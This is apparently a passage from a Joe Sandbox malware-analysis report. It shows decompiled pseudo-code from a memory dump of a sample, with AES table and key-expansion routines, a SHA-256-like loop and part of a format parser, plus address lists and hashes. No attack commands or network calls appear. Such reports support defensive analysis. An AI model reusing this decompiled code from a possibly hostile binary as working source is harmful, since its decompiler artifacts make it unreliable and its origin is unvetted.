																E00263A44(_t119 + 0x448, 0x20, _t95, _t119 + 0x18);
																_t122 = _t122 + 0x10;
															}
															E00265463(_t119 + 0x448,  &_v8, _t115, _t119 + 0x18,  *((intOrPtr*)(_t119 + 0xc)));
															_t102 =  *(_t119 + 0x20);
															_t116 = _t119 + 0x18;
															_t67 = _t102 >> 3;
															__eflags = _t67 & 0x00000001;
															if((_t67 & 0x00000001) != 0) {
																_t104 = _t102 >> 2;
																__eflags = _t104 & 0x00000001;
																if((_t104 & 0x00000001) == 0) {
																	E00263A44(_t119 + 0x448, 0x30, _t95, _t116);
																	_t122 = _t122 + 0x10;
																}
															}
															E00265331(_t95, _t119, _t116, _t119, 0);
															__eflags =  *_t116;
															if( *_t116 >= 0) {
																_t71 =  *(_t119 + 0x20) >> 2;
																__eflags = _t71 & 0x00000001;
																if((_t71 & 0x00000001) != 0) {
																	E00263A44(_t119 + 0x448, 0x20, _t95, _t116);
																}
															}
															_t69 = 1;
															L70:
															return _t69;
														}
														__eflags = _t100 - 0x41;
														if(_t100 == 0x41) {
															goto L59;
														}
														_t58 = 0;
														goto L60;
													}
													__eflags = _t57;
													if(_t57 == 0) {
														goto L61;
													}
													goto L56;
												}
												__eflags = _t100 - 0x41;
												if(_t100 == 0x41) {
													goto L53;
												}
												_t57 = 0;
												goto L54;
											}
											L49:
											_t92 = 0;
											__eflags = 0;
											goto L50;
										}
										__eflags = _t100 - 0x58;
										if(_t100 != 0x58) {
											goto L49;
										}
										goto L48;
									}
									_t80 = _t113 >> 6;
									__eflags = _t92 & _t80;
									if((_t92 & _t80) == 0) {
										__eflags = _t92 & _t113;
										if((_t92 & _t113) == 0) {
											_t82 = _t113 >> 1;
											__eflags = _t92 & _t82;
											if((_t92 & _t82) == 0) {
												goto L46;
											}
											_v8 = 0x20;
											L45:
											_t115 = _t92;
											goto L46;
										}
										_v8 = 0x2b;
										goto L45;
									}
									_v8 = 0x2d;
									goto L45;
								}
								_t69 = _t92;
								goto L70;
							}
							L11:
							_t69 = 0;
							goto L70;
						}
						_t84 = _t50;
						__eflags = _t84;
						if(__eflags == 0) {
							L28:
							_push(0);
							_push(0xa);
							L29:
							_t51 = E00264F73(_t119, _t114, __eflags);
							goto L10;
						}
						__eflags = _t84 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L29;
					}
					if(__eflags == 0) {
						_t51 = E00265150(__ecx);
						goto L10;
					}
					__eflags = _t49 - 0x67;
					if(_t49 <= 0x67) {
						L30:
						_t51 = E00264B7F(_t92, _t119);
						goto L10;
					}
					__eflags = _t49 - 0x69;
					if(_t49 == 0x69) {
						L27:
						_t2 = _t119 + 0x20;
						 *_t2 =  *(_t119 + 0x20) | 0x00000010;
						__eflags =  *_t2;
						goto L28;
					}
					__eflags = _t49 - 0x6e;
					if(_t49 == 0x6e) {
						_t51 = E002650BD(__ecx, _t112);
						goto L10;
					}
					__eflags = _t49 - 0x6f;
					if(_t49 != 0x6f) {
						goto L11;
					}
					_t51 = E00265131(__ecx);
					goto L10;
				}
				if(_t124 == 0) {
					goto L27;
				}
				_t125 = _t49 - 0x58;
				if(_t125 > 0) {
					_t86 = _t49 - 0x5a;
					__eflags = _t86;
					if(_t86 == 0) {
						_t51 = E00264AB9(__ecx);
						goto L10;
					}
					_t87 = _t86 - 7;
					__eflags = _t87;
					if(_t87 == 0) {
						goto L30;
					}
					__eflags = _t87;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t51 = E00264E4B(_t92, _t119, __eflags, 0);
					goto L10;
				}
				if(_t125 == 0) {
					_push(1);
					goto L13;
				}
				if(_t49 == 0x41) {
					goto L30;
				}
				if(_t49 == 0x43) {
					goto L17;
				}
				if(_t49 <= 0x44) {
					goto L11;
				}
				if(_t49 <= 0x47) {
					goto L30;
				}
				if(_t49 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x0026457f
0x00264582
0x00264586
0x00264589
0x0026458d
0x00264590
0x002645fe
0x00264601
0x00264650
0x00264650
0x00264653
0x002645c0
0x002645c2
0x002645c7
0x002645c9
0x0026466e
0x00264672
0x0026467b
0x00264680
0x00264681
0x00264685
0x00264687
0x0026468c
0x0026468f
0x00264691
0x002646ba
0x002646ba
0x002646bd
0x002646c0
0x002646c7
0x002646c9
0x002646cc
0x002646ce
0x002646d2
0x002646d2
0x002646d5
0x002646e0
0x002646e0
0x002646e2
0x002646e2
0x002646e4
0x002646ea
0x002646ea
0x002646ef
0x002646f2
0x002646fd
0x002646fd
0x002646ff
0x002646ff
0x0026470a
0x0026470e
0x0026470e
0x00264711
0x00264717
0x00264719
0x0026471c
0x0026472c
0x00264731
0x00264731
0x00264746
0x0026474b
0x0026474e
0x00264753
0x00264756
0x00264758
0x0026475a
0x0026475d
0x00264760
0x0026476d
0x00264772
0x00264772
0x00264760
0x00264779
0x0026477e
0x00264781
0x00264786
0x00264789
0x0026478b
0x00264798
0x0026479d
0x0026478b
0x002647a0
0x002647a3
0x002647a8
0x002647a8
0x002646f4
0x002646f7
0x00000000
0x00000000
0x002646f9
0x00000000
0x002646f9
0x002646e6
0x002646e8
0x00000000
0x00000000
0x00000000
0x002646e8
0x002646d7
0x002646da
0x00000000
0x00000000
0x002646dc
0x00000000
0x002646dc
0x002646d0
0x002646d0
0x002646d0
0x00000000
0x002646d0
0x002646c2
0x002646c5
0x00000000
0x00000000
0x00000000
0x002646c5
0x00264695
0x00264698
0x0026469a
0x002646a2
0x002646a4
0x002646ae
0x002646b0
0x002646b2
0x00000000
0x00000000
0x002646b4
0x002646b8
0x002646b8
0x00000000
0x002646b8
0x002646a6
0x00000000
0x002646a6
0x0026469c
0x00000000
0x0026469c
0x00264674
0x00000000
0x00264674
0x002645cf
0x002645cf
0x00000000
0x002645cf
0x0026465a
0x0026465a
0x0026465d
0x0026462f
0x0026462f
0x00264630
0x00264632
0x00264634
0x00000000
0x00264634
0x0026465f
0x00264662
0x00000000
0x00000000
0x00264668
0x002645d7
0x002645d7
0x00000000
0x002645d7
0x00264603
0x00264646
0x00000000
0x00264646
0x00264605
0x00264608
0x0026463b
0x0026463d
0x00000000
0x0026463d
0x0026460a
0x0026460d
0x0026462b
0x0026462b
0x0026462b
0x0026462b
0x00000000
0x0026462b
0x0026460f
0x00264612
0x00264624
0x00000000
0x00264624
0x00264614
0x00264617
0x00000000
0x00000000
0x0026461b
0x00000000
0x0026461b
0x00264592
0x00000000
0x00000000
0x00264598
0x0026459b
0x002645db
0x002645db
0x002645de
0x002645f7
0x00000000
0x002645f7
0x002645e0
0x002645e0
0x002645e3
0x00000000
0x00000000
0x002645e6
0x002645e9
0x00000000
0x00000000
0x002645eb
0x002645ee
0x00000000
0x002645ee
0x0026459d
0x002645d6
0x00000000
0x002645d6
0x002645a2
0x00000000
0x00000000
0x002645ab
0x00000000
0x00000000
0x002645b0
0x00000000
0x00000000
0x002645b5
0x00000000
0x00000000
0x002645be
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5deea3b29f66a918188f7a75532971316276c2599c24e1ebb0fa75850081f94e
Instruction ID: 8b14663e38721208333f4c12c7d5e9bd09c8bbf510c004374fe3d62350021384
Opcode Fuzzy Hash: 5deea3b29f66a918188f7a75532971316276c2599c24e1ebb0fa75850081f94e
Instruction Fuzzy Hash: 72518961230A4797DB35BD68C5957BF63CE9B23304F580A0AD8C3CB682C645DEF18752

Uniqueness

Uniqueness Score: -1.00%

Function 0024DDAC Relevance: .2, Instructions: 190
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0024DDAC() {
				intOrPtr _v8;
				char _v521;
				char _t140;
				signed int _t154;
				signed int _t155;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				signed int _t162;
				signed int _t179;
				signed int _t181;
				signed char _t192;
				signed int _t199;
				signed int _t207;
				void* _t208;
				signed int _t209;
				signed char _t211;
				signed int _t219;
				void* _t220;

				_t140 = 0;
				_t179 = 1;
				_t207 = 1;
				do {
					 *(_t220 + _t140 - 0x304) = _t207;
					 *(_t220 + _t140 - 0x205) = _t207;
					 *((char*)(_t220 + _t207 - 0x104)) = _t140;
					_v8 = _t140 + 1;
					asm("sbb ecx, ecx");
					_t140 = _v8;
					_t207 = _t207 ^  ~(_t207 & 0x80) & 0x0000011b ^ _t207 + _t207;
				} while (_t207 != 1);
				_t208 = 0;
				do {
					 *(_t208 + 0x2841a0) = _t179;
					asm("sbb ecx, ecx");
					_t179 = _t179 + _t179 ^  ~(_t179 & 0x80) & 0x0000011b;
					_t208 = _t208 + 1;
				} while (_t208 < 0x1e);
				_t181 = 0;
				do {
					if(_t181 == 0) {
						_t209 = 0;
					} else {
						_t209 =  *( &_v521 - ( *(_t220 + (_t181 & 0x000000ff) - 0x104) & 0x000000ff)) & 0x000000ff;
					}
					_t192 = (_t209 ^ (((_t209 + _t209 ^ _t209) + (_t209 + _t209 ^ _t209) ^ _t209) + ((_t209 + _t209 ^ _t209) + (_t209 + _t209 ^ _t209) ^ _t209) ^ _t209) + (((_t209 + _t209 ^ _t209) + (_t209 + _t209 ^ _t209) ^ _t209) + ((_t209 + _t209 ^ _t209) + (_t209 + _t209 ^ _t209) ^ _t209) ^ _t209) ^ 0x00006300) >> 0x00000008 ^ _t209 ^ (((_t209 + _t209 ^ _t209) + (_t209 + _t209 ^ _t209) ^ _t209) + ((_t209 + _t209 ^ _t209) + (_t209 + _t209 ^ _t209) ^ _t209) ^ _t209) + (((_t209 + _t209 ^ _t209) + (_t209 + _t209 ^ _t209) ^ _t209) + ((_t209 + _t209 ^ _t209) + (_t209 + _t209 ^ _t209) ^ _t209) ^ _t209);
					 *(_t181 + 0x283fa0) = _t192;
					 *(0x284dc1 + _t181 * 4) = _t192;
					 *(0x284dc0 + _t181 * 4) = _t192;
					 *(0x2849c3 + _t181 * 4) = _t192;
					 *(0x2849c0 + _t181 * 4) = _t192;
					 *(0x2845c3 + _t181 * 4) = _t192;
					 *(0x2845c2 + _t181 * 4) = _t192;
					 *(0x2841c2 + _t181 * 4) = _t192;
					 *(0x2841c1 + _t181 * 4) = _t192;
					if(_t192 == 0) {
						_t154 = 0;
					} else {
						_t154 =  *(_t220 + ( *(_t220 + (_t192 & 0x000000ff) - 0x104) & 0x000000ff) - 0x2eb) & 0x000000ff;
					}
					 *(0x284dc3 + _t181 * 4) = _t154;
					 *(0x2849c2 + _t181 * 4) = _t154;
					 *(0x2845c1 + _t181 * 4) = _t154;
					 *(0x2841c0 + _t181 * 4) = _t154;
					if(_t192 == 0) {
						_t155 = 0;
					} else {
						_t155 =  *(_t220 + ( *(_t220 + (_t192 & 0x000000ff) - 0x104) & 0x000000ff) - 0x303) & 0x000000ff;
					}
					_t219 = _t181 & 0x000000ff;
					 *(0x284dc2 + _t181 * 4) = _t155;
					 *(0x2849c1 + _t181 * 4) = _t155;
					 *(0x2845c0 + _t181 * 4) = _t155;
					 *(0x2841c3 + _t181 * 4) = _t155;
					if((((_t219 << 0x00000003 ^ _t219) << 0x00000002 ^ _t219) + ((_t219 << 0x00000003 ^ _t219) << 0x00000002 ^ _t219) >> 0x00000008 ^ ((_t219 << 0x00000003 ^ _t219) << 0x00000002 ^ _t219) + ((_t219 << 0x00000003 ^ _t219) << 0x00000002 ^ _t219)) == 5) {
						_t211 = 0;
					} else {
						_t211 =  *((intOrPtr*)( &_v521 - ( *(_t220 + (((_t219 << 0x00000003 ^ _t219) << 0x00000002 ^ _t219) + ((_t219 << 0x00000003 ^ _t219) << 0x00000002 ^ _t219) >> 0x00000008 & 0x000000ff ^ ((_t219 << 0x00000003 ^ _t219) << 0x00000002 ^ _t219) + ((_t219 << 0x00000003 ^ _t219) << 0x00000002 ^ _t219) & 0x000000ff ^ 0x00000005) - 0x104) & 0x000000ff)));
					}
					 *(_t181 + 0x2840a0) = _t211;
					if(_t211 == 0) {
						_t159 = 0;
					} else {
						_t159 =  *(_t220 + ( *(_t220 + (_t211 & 0x000000ff) - 0x104) & 0x000000ff) - 0x29c) & 0x000000ff;
					}
					_t199 = _t211 & 0x000000ff;
					 *(0x285dc2 + _t181 * 4) = _t159;
					 *(0x2859c1 + _t181 * 4) = _t159;
					 *(0x2855c0 + _t181 * 4) = _t159;
					 *(0x2851c3 + _t181 * 4) = _t159;
					 *(0x286dc2 + _t199 * 4) = _t159;
					 *(0x2869c1 + _t199 * 4) = _t159;
					 *(0x2865c0 + _t199 * 4) = _t159;
					 *(0x2861c3 + _t199 * 4) = _t159;
					if(_t211 == 0) {
						_t160 = 0;
					} else {
						_t160 =  *(_t220 + ( *(_t220 + _t199 - 0x104) & 0x000000ff) - 0x23d) & 0x000000ff;
					}
					 *(0x285dc0 + _t181 * 4) = _t160;
					 *(0x2859c3 + _t181 * 4) = _t160;
					 *(0x2855c2 + _t181 * 4) = _t160;
					 *(0x2851c1 + _t181 * 4) = _t160;
					 *(0x286dc0 + _t199 * 4) = _t160;
					 *(0x2869c3 + _t199 * 4) = _t160;
					 *(0x2865c2 + _t199 * 4) = _t160;
					 *(0x2861c1 + _t199 * 4) = _t160;
					if(_t211 == 0) {
						_t161 = 0;
					} else {
						_t161 =  *(_t220 + ( *(_t220 + _t199 - 0x104) & 0x000000ff) - 0x216) & 0x000000ff;
					}
					 *(0x285dc1 + _t181 * 4) = _t161;
					 *(0x2859c0 + _t181 * 4) = _t161;
					 *(0x2855c3 + _t181 * 4) = _t161;
					 *(0x2851c2 + _t181 * 4) = _t161;
					 *(0x286dc1 + _t199 * 4) = _t161;
					 *(0x2869c0 + _t199 * 4) = _t161;
					 *(0x2865c3 + _t199 * 4) = _t161;
					 *(0x2861c2 + _t199 * 4) = _t161;
					if(_t211 == 0) {
						_t162 = 0;
					} else {
						_t162 =  *(_t220 + ( *(_t220 + _t199 - 0x104) & 0x000000ff) - 0x225) & 0x000000ff;
					}
					 *(0x285dc3 + _t181 * 4) = _t162;
					 *(0x2859c2 + _t181 * 4) = _t162;
					 *(0x2855c1 + _t181 * 4) = _t162;
					 *(0x2851c0 + _t181 * 4) = _t162;
					_t181 = _t181 + 1;
					 *(0x286dc3 + _t199 * 4) = _t162;
					 *(0x2869c2 + _t199 * 4) = _t162;
					 *(0x2865c1 + _t199 * 4) = _t162;
					 *(0x2861c0 + _t199 * 4) = _t162;
				} while (_t181 < 0x100);
				return _t162;
			}

0x0024ddb5
0x0024ddba
0x0024ddbc
0x0024ddc3
0x0024ddc3
0x0024ddca
0x0024ddd1
0x0024ddd9
0x0024dde8
0x0024ddee
0x0024ddf1
0x0024ddf3
0x0024ddf7
0x0024ddf9
0x0024ddfb
0x0024de08
0x0024de0e
0x0024de10
0x0024de11
0x0024de16
0x0024de18
0x0024de1a
0x0024de34
0x0024de1c
0x0024de2f
0x0024de2f
0x0024de52
0x0024de54
0x0024de5a
0x0024de61
0x0024de68
0x0024de6f
0x0024de76
0x0024de7d
0x0024de84
0x0024de8b
0x0024de94
0x0024deab
0x0024de96
0x0024dea1
0x0024dea1
0x0024dead
0x0024deb4
0x0024debb
0x0024dec2
0x0024decb
0x0024dee2
0x0024decd
0x0024ded8
0x0024ded8
0x0024dee4
0x0024dee9
0x0024def5
0x0024df01
0x0024df0a
0x0024df1a
0x0024df4e
0x0024df1c
0x0024df4a
0x0024df4a
0x0024df50
0x0024df58
0x0024df6f
0x0024df5a
0x0024df65
0x0024df65
0x0024df71
0x0024df74
0x0024df7b
0x0024df82
0x0024df89
0x0024df90
0x0024df97
0x0024df9e
0x0024dfa5
0x0024dfae
0x0024dfc2
0x0024dfb0
0x0024dfb8
0x0024dfb8
0x0024dfc4
0x0024dfcb
0x0024dfd2
0x0024dfd9
0x0024dfe0
0x0024dfe7
0x0024dfee
0x0024dff5
0x0024dffe
0x0024e012
0x0024e000
0x0024e008
0x0024e008
0x0024e014
0x0024e01b
0x0024e022
0x0024e029
0x0024e030
0x0024e037
0x0024e03e
0x0024e045
0x0024e04e
0x0024e062
0x0024e050
0x0024e058
0x0024e058
0x0024e064
0x0024e06b
0x0024e072
0x0024e079
0x0024e080
0x0024e081
0x0024e088
0x0024e08f
0x0024e096
0x0024e09d
0x0024e0ae

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d5d67289d63c0e2b0bfb127c5719aae8a96255ce6f82393c06df62e23c72993
Instruction ID: 5787943c297f873cc7b2e56cf03d8f2e99917fe4f78ec65a97993e393f323161
Opcode Fuzzy Hash: 8d5d67289d63c0e2b0bfb127c5719aae8a96255ce6f82393c06df62e23c72993
Instruction Fuzzy Hash: D08195A521B2E59EE71A9F7C38AC2F53FA15733300F1941EAC4C587263D1764A6CE721

Uniqueness

Uniqueness Score: -1.00%

Function 0024E7E0 Relevance: .2, Instructions: 154
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0024E7E0(signed char __ecx, char _a4) {
				char _v12;
				signed int _v13;
				signed int _v14;
				signed int _v15;
				signed int _v16;
				signed char _v17;
				signed char _v18;
				signed char _v19;
				signed char _v20;
				char _v28;
				signed int _v29;
				signed int _v30;
				signed int _v31;
				signed int _v32;
				signed int _v36;
				signed char _v40;
				signed char _t96;
				signed int _t117;
				signed int* _t121;
				signed int* _t122;
				void* _t124;
				signed int _t125;
				signed int _t126;
				signed int _t127;
				void* _t129;
				void* _t130;
				signed int _t131;
				char* _t132;
				void* _t133;
				signed int _t135;
				signed char _t137;
				signed char* _t139;
				signed char* _t141;
				void* _t161;
				void* _t164;

				_t137 = __ecx;
				_t135 = _a4 - 6;
				_v40 = __ecx;
				_v36 = _t135;
				_t96 = E0025F300( &_v32, _a4, 0x20);
				_t141 =  &(( &_v40)[0xc]);
				_t117 = 0;
				_t133 = 0;
				_t126 = 0;
				if(_t135 <= 0) {
					L10:
					if(_t117 <= _a4) {
						_t127 = 0x2841a0;
						do {
							_v32 = _v32 ^  *((_t141[0x15 + _t135 * 4] & 0x000000ff) + 0x283fa0);
							_v31 = _v31 ^  *((_t141[0x16 + _t135 * 4] & 0x000000ff) + 0x283fa0);
							_v30 = _v30 ^  *((_t141[0x17 + _t135 * 4] & 0x000000ff) + 0x283fa0);
							_v29 = _v29 ^  *((_t141[0x14 + _t135 * 4] & 0x000000ff) + 0x283fa0);
							_t96 =  *_t127;
							_v32 = _v32 ^ _t96;
							_v36 = _t127 + 1;
							if(_t135 == 8) {
								_t121 =  &_v28;
								_v40 = 3;
								do {
									_t129 = 4;
									do {
										 *_t121 =  *_t121 ^  *(_t121 - 4);
										_t121 =  &(_t121[0]);
										_t129 = _t129 - 1;
									} while (_t129 != 0);
									_t58 =  &_v40;
									 *_t58 = _v40 - 1;
								} while ( *_t58 != 0);
								_t122 =  &_v12;
								_v40 = 3;
								_v16 = _v16 ^  *((_v20 & 0x000000ff) + 0x283fa0);
								_v15 = _v15 ^  *((_v19 & 0x000000ff) + 0x283fa0);
								_v14 = _v14 ^  *((_v18 & 0x000000ff) + 0x283fa0);
								_v13 = _v13 ^  *((_v17 & 0x000000ff) + 0x283fa0);
								do {
									_t130 = 4;
									do {
										_t96 =  *((intOrPtr*)(_t122 - 4));
										 *_t122 =  *_t122 ^ _t96;
										_t122 =  &(_t122[0]);
										_t130 = _t130 - 1;
									} while (_t130 != 0);
									_t79 =  &_v40;
									 *_t79 = _v40 - 1;
								} while ( *_t79 != 0);
							} else {
								if(_t135 > 1) {
									_t132 =  &_v28;
									_v40 = _t135 - 1;
									do {
										_t124 = 0;
										do {
											_t96 =  *((intOrPtr*)(_t132 + _t124 - 4));
											 *(_t132 + _t124) =  *(_t132 + _t124) ^ _t96;
											_t124 = _t124 + 1;
										} while (_t124 < 4);
										_t132 = _t132 + 4;
										_t53 =  &_v40;
										 *_t53 = _v40 - 1;
									} while ( *_t53 != 0);
								}
							}
							_t131 = 0;
							if(_t135 <= 0) {
								L37:
								_t164 = _t117 - _a4;
							} else {
								while(_t117 <= _a4) {
									if(_t131 >= _t135) {
										L33:
										_t161 = _t133 - 4;
									} else {
										_t96 =  &(( &_v32)[_t131]);
										_v40 = _t96;
										while(_t133 < 4) {
											 *((intOrPtr*)(_t137 + 0x18 + (_t133 + _t117 * 4) * 4)) =  *_t96;
											_t131 = _t131 + 1;
											_t96 = _v40 + 4;
											_t133 = _t133 + 1;
											_v40 = _t96;
											if(_t131 < _t135) {
												continue;
											} else {
												goto L33;
											}
											goto L34;
										}
									}
									L34:
									if(_t161 == 0) {
										_t117 = _t117 + 1;
										_t133 = 0;
									}
									if(_t131 < _t135) {
										continue;
									} else {
										goto L37;
									}
									goto L38;
								}
							}
							L38:
							_t127 = _v36;
						} while (_t164 <= 0);
					}
				} else {
					while(_t117 <= _a4) {
						if(_t126 < _t135) {
							_t139 =  &(( &_v32)[_t126]);
							while(_t133 < 4) {
								_t125 = _t133 + _t117 * 4;
								_t96 =  *_t139;
								_t126 = _t126 + 1;
								_t139 =  &_a4;
								_t133 = _t133 + 1;
								 *(_v40 + 0x18 + _t125 * 4) = _t96;
								_t135 = _v36;
								if(_t126 < _t135) {
									continue;
								}
								break;
							}
							_t137 = _v40;
						}
						if(_t133 == 4) {
							_t117 = _t117 + 1;
							_t133 = 0;
						}
						if(_t126 < _t135) {
							continue;
						} else {
							goto L10;
						}
						goto L39;
					}
				}
				L39:
				return _t96;
			}

0x0024e7e6
0x0024e7f6
0x0024e7f9
0x0024e7fe
0x0024e802
0x0024e807
0x0024e80a
0x0024e80c
0x0024e80e
0x0024e812
0x0024e859
0x0024e85c
0x0024e862
0x0024e867
0x0024e876
0x0024e885
0x0024e894
0x0024e8a3
0x0024e8a7
0x0024e8a9
0x0024e8ae
0x0024e8b5
0x0024e8e6
0x0024e8ea
0x0024e8f2
0x0024e8f4
0x0024e8f5
0x0024e8f8
0x0024e8fa
0x0024e8fb
0x0024e8fb
0x0024e900
0x0024e900
0x0024e900
0x0024e90c
0x0024e910
0x0024e91e
0x0024e92d
0x0024e93c
0x0024e94b
0x0024e94f
0x0024e951
0x0024e952
0x0024e952
0x0024e955
0x0024e957
0x0024e958
0x0024e958
0x0024e95d
0x0024e95d
0x0024e95d
0x0024e8b7
0x0024e8ba
0x0024e8c3
0x0024e8c7
0x0024e8cb
0x0024e8cb
0x0024e8cd
0x0024e8cd
0x0024e8d1
0x0024e8d4
0x0024e8d5
0x0024e8da
0x0024e8dd
0x0024e8dd
0x0024e8dd
0x0024e8e4
0x0024e8ba
0x0024e964
0x0024e968
0x0024e9a9
0x0024e9a9
0x00000000
0x0024e96a
0x0024e971
0x0024e99d
0x0024e99d
0x0024e973
0x0024e977
0x0024e97a
0x0024e97e
0x0024e988
0x0024e98c
0x0024e991
0x0024e994
0x0024e995
0x0024e99b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0024e99b
0x0024e97e
0x0024e9a0
0x0024e9a0
0x0024e9a2
0x0024e9a3
0x0024e9a3
0x0024e9a7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0024e9a7
0x0024e96a
0x0024e9ac
0x0024e9ac
0x0024e9ac
0x0024e867
0x00000000
0x0024e814
0x0024e81f
0x0024e825
0x0024e829
0x0024e832
0x0024e835
0x0024e838
0x0024e839
0x0024e83c
0x0024e83d
0x0024e841
0x0024e847
0x00000000
0x00000000
0x00000000
0x0024e847
0x0024e849
0x0024e849
0x0024e850
0x0024e852
0x0024e853
0x0024e853
0x0024e857
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0024e857
0x0024e814
0x0024e9bd
0x0024e9bd

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db377f55e9e1b0179c6bec359892bb1c97b31478f4ff33d24285b17b5926b886
Instruction ID: 204c12a198bbf1ec9b98542b0d7a821c3d020a178efd81164c617f58b35342b6
Opcode Fuzzy Hash: db377f55e9e1b0179c6bec359892bb1c97b31478f4ff33d24285b17b5926b886
Instruction Fuzzy Hash: 9351D0349093D24FDB16CF24918046EBFE1BF9A718F4A489EE4D54B252D2309659CB93

Uniqueness

Uniqueness Score: -1.00%

Function 0024F8A8 Relevance: .1, Instructions: 131
COMMONCrypto

Download Yara Rule

C-Code - Quality: 80%

			E0024F8A8() {
				signed int _t85;
				signed int* _t86;
				unsigned int* _t87;
				void* _t88;
				unsigned int _t90;
				unsigned int _t113;
				signed int _t115;
				signed int* _t120;
				signed int _t121;
				signed int* _t122;
				signed int _t123;
				void* _t135;
				void* _t136;
				void* _t137;
				signed int _t138;
				void* _t140;

				_t120 =  *(_t140 + 0x130);
				_t123 = 0;
				_t86 =  &(_t120[0xa]);
				do {
					 *((intOrPtr*)(_t140 + 0x30 + _t123 * 4)) = E00265EC4( *_t86);
					_t86 =  &(_t86[1]);
					_t123 = _t123 + 1;
				} while (_t123 < 0x10);
				_t87 = _t140 + 0x68;
				_t137 = 0x30;
				do {
					_t90 =  *(_t87 - 0x34);
					_t113 =  *_t87;
					asm("rol esi, 0xe");
					_t87 =  &(_t87[1]);
					asm("ror eax, 0x7");
					asm("rol eax, 0xd");
					asm("rol ecx, 0xf");
					_t87[1] = (_t90 ^ _t90 ^ _t90 >> 0x00000003) + (_t113 ^ _t113 ^ _t113 >> 0x0000000a) +  *((intOrPtr*)(_t87 - 0x3c)) +  *((intOrPtr*)(_t87 - 0x18));
					_t137 = _t137 - 1;
				} while (_t137 != 0);
				_t88 = 0;
				_t138 = _t120[4];
				_t115 = _t120[5];
				 *(_t140 + 0x10) = _t120[1];
				 *(_t140 + 0x20) = _t120[3];
				 *(_t140 + 0x1c) =  *_t120;
				 *(_t140 + 0x18) = _t120[6];
				_t121 =  *(_t140 + 0x1c);
				 *(_t140 + 0x14) = _t120[2];
				 *(_t140 + 0x24) = _t120[7];
				while(1) {
					 *(_t140 + 0x28) = _t138;
					asm("ror esi, 0xb");
					asm("rol eax, 0x7");
					asm("ror eax, 0x6");
					 *(_t140 + 0x18) = _t115;
					_t33 = _t88 + 0x272a50; // 0x0
					_t135 = (_t138 ^ _t138 ^ _t138) + ( !_t138 &  *(_t140 + 0x18) ^ _t115 & _t138) +  *_t33 +  *((intOrPtr*)(_t140 + _t88 + 0x2c));
					_t88 = _t88 + 4;
					_t136 = _t135 +  *(_t140 + 0x24);
					 *(_t140 + 0x24) =  *(_t140 + 0x18);
					_t138 =  *(_t140 + 0x20) + _t136;
					asm("ror edx, 0xd");
					asm("rol eax, 0xa");
					asm("ror eax, 0x2");
					_t85 =  *(_t140 + 0x10);
					 *(_t140 + 0x10) = _t121;
					 *(_t140 + 0x20) =  *(_t140 + 0x14);
					 *(_t140 + 0x14) = _t85;
					_t121 = (_t121 ^ _t121 ^ _t121) + (( *(_t140 + 0x14) ^  *(_t140 + 0x10)) & _t121 ^  *(_t140 + 0x14) &  *(_t140 + 0x10)) + _t136;
					if(_t88 >= 0x100) {
						break;
					}
					_t115 =  *(_t140 + 0x28);
				}
				 *(_t140 + 0x1c) = _t121;
				_t122 =  *(_t140 + 0x130);
				 *_t122 =  *_t122 +  *(_t140 + 0x1c);
